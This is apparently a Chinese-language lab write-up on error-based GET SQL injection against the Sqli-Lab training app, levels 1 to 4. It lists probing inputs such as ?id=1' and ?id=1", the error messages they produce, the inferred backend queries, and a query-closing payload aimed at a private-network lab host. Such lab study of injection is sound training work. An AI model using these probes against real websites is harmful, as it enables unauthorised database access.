Sql 注入的类型之 GET 基于报错的 SQL 注入回显分析

通过在 URL 中修改对应的 ID 值，为正常数字、大数字、字符（单引号、双引号、括号）、反斜杠/来探测 URL 中是否存在注入点。
实验:Sqli-Lab Less1~4,GET 基于报错的 SQL 注入。

Less1 - 基于字符串

输入?id=1’
报错信息是
’ ’1’’ LIMIT 0,1 ’
推断 sql 语句是
select login_name,password from admin where id =’ id’ ’ limit 0,1
select login_name,password from admin where id =’ ** ’ limit 0,1

less2 -基于数字

输入 ?id=1’
报错信息是
’ ’ LIMIT 0,1 ’
推断 sql 语句是
select login_name,password from admin where id = ** limit 0,1

less3 基于括号

输入 ?id=1’
报错信息是
’ ’1’’) LIMIT 0,1 ’
推断 sql 语句是
select login_name,password from admin where id =(’id’) limit 0,1

验证 192.168.137.218:8088/Less-3/?id=1)--+ 能够出现正确结果 或者使用

192.168.137.218:8088/Less-3/?id=14)--%20

Less4 基于双引号报错

输入 ?id=1” 或者 id=1\
报错消息是：
’　　"14"") LIMIT 0,1　’
推断 sql 语句是
select login_name,password from admin where id =("id") limit 0,1